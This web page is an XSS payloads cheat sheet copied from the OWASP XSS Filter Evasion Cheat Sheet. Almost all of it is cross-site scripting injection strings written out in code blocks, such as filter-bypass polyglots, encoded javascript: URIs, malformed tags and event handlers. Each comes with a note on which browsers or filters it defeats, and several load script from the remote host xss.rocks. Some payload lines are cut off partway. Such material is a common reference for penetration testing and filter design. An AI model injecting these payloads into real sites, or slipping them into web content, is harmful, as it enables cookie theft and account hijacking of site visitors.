Xsses Rocks

Where XSS and other security issues are shown

XSS Payloads Cheat Sheet

XSS Locator (short)

If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses <XSS to see if it is vulnerable:

```
'';!--"<XSS>=&{()}
```

No Filter Evasion

This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

```
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
```

Filter bypass based polyglot

```
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plai
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/
<script>alert(document.cookie)</script>">
<img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'">
<img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compres
```

Image XSS using the JavaScript directive

Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:

```
<IMG SRC="javascript:alert('XSS');">
```

No quotes and no semicolon

```
<IMG SRC=javascript:alert('XSS')>
```

Case insensitive XSS attack vector

```
<IMG SRC=JaVaScRiPt:alert('XSS')>
```

HTML entities

The semicolons are required for this to work:

```
<IMG SRC=javascript:alert("XSS")>
```

Grave accent obfuscation

If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string – this is also useful because lots of cross site scripting filters don't know about grave accents:

```
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
```

Malformed A tags

Skip the HREF attribute and get to the meat of the XXS... Submitted by David Cross ~ Verified on Chrome

xxs link

or Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.

xxs link

Malformed IMG tags

Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

```
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
```

fromCharCode

If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:

```
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
```

Default SRC tag to get past filters that check SRC domain

This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here. Submitted by David Cross .

Edited by Abdullah Hussam(@Abdulahhusam).

```
<IMG SRC=# onmouseover="alert('xxs')">
```

Default SRC tag by leaving it empty

```
<IMG SRC= onmouseover="alert('xxs')">
```

Default SRC tag by leaving it out entirely

```
<IMG onmouseover="alert('xxs')">
```

On error alert

```
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
```

IMG onerror and javascript alert encode

```
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#00
```

Decimal HTML character references

all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).

```
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#
&#39;&#88;&#83;&#83;&#39;&#41;>
```

Decimal HTML character references without trailing semicolons

This is often effective in XSS that attempts to look for “&#XX;”, since most people don’t know about padding – up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I’ve seen this in the wild):

```
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#00000
```

Hexadecimal HTML character references without trailing semicolons

This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol – which is not true with hex HTML characters).

```
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x6
```

Embedded tab

Used to break up the cross site scripting attack:

```
<IMG SRC="jav  ascript:alert('XSS');">
```

Embedded Encoded tab

Use this one to break up XSS :

```
<IMG SRC="jav&#x09;ascript:alert('XSS');">
```

Embedded newline to break up XSS

Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

```
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
```

Embedded carriage return to break up XSS

(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

```
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
```

Null breaks up JavaScript directive

Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:

```
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
```

Spaces and meta chars before the JavaScript in images for XSS

This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:

```
<IMG SRC=" &#14;  javascript:alert('XSS');">
```

Non-alpha-non-digit XSS

The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s":

```
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
```

Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:

```
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
```

Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.

```
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
```

Extraneous open brackets

Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:

```
<<SCRIPT>alert("XSS");//<</SCRIPT>
```

No closing script tags

In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

```
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
```

Protocol resolution in script tags

This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.

```
<SCRIPT SRC=//xss.rocks/.j>
```

Half open HTML/JavaScript XSS vector

Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no

close “>” tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn’t require the end “>”. As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

```
<IMG SRC="javascript:alert('XSS')"
```

Double open angle brackets

Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won’t:

```
<iframe src=http://xss.rocks/scriptlet.html <
```

Escaping JavaScript escapes

When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a=”$ENV{QUERY_STRING}”;</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will read <SCRIPT>var a=”\\”;alert(‘XSS’);//”;</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

```
\";alert('XSS');//
```

An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:

```
</script><script>alert('XSS');</script>
```

End title tag

This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

```
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
```

INPUT image

```
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
```

BODY image

```
<BODY BACKGROUND="javascript:alert('XSS')">
```

IMG Dynsrc

```
<IMG DYNSRC="javascript:alert('XSS')">
```

IMG lowsrc

```
<IMG LOWSRC="javascript:alert('XSS')">
```

List-style-image

Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

```
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>X
```

VBscript in an image

```
<IMG SRC='vbscript:msgbox("XSS")'>
```

Livescript (older versions of Netscape only)

```
<IMG SRC="livescript:[code]">
```

SVG object tag

```
<svg/onload=alert('XSS')>
```

ECMAScript 6

```
Set.constructor`alert\x28document.domain\x29```
```

BODY tag

Method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack).

Dan Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):

```
<BODY ONLOAD=alert('XSS')>

take from
```

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Search

Search and hit enter...

About This Site

This may be a good place to introduce yourself and your site or include some credits.

Social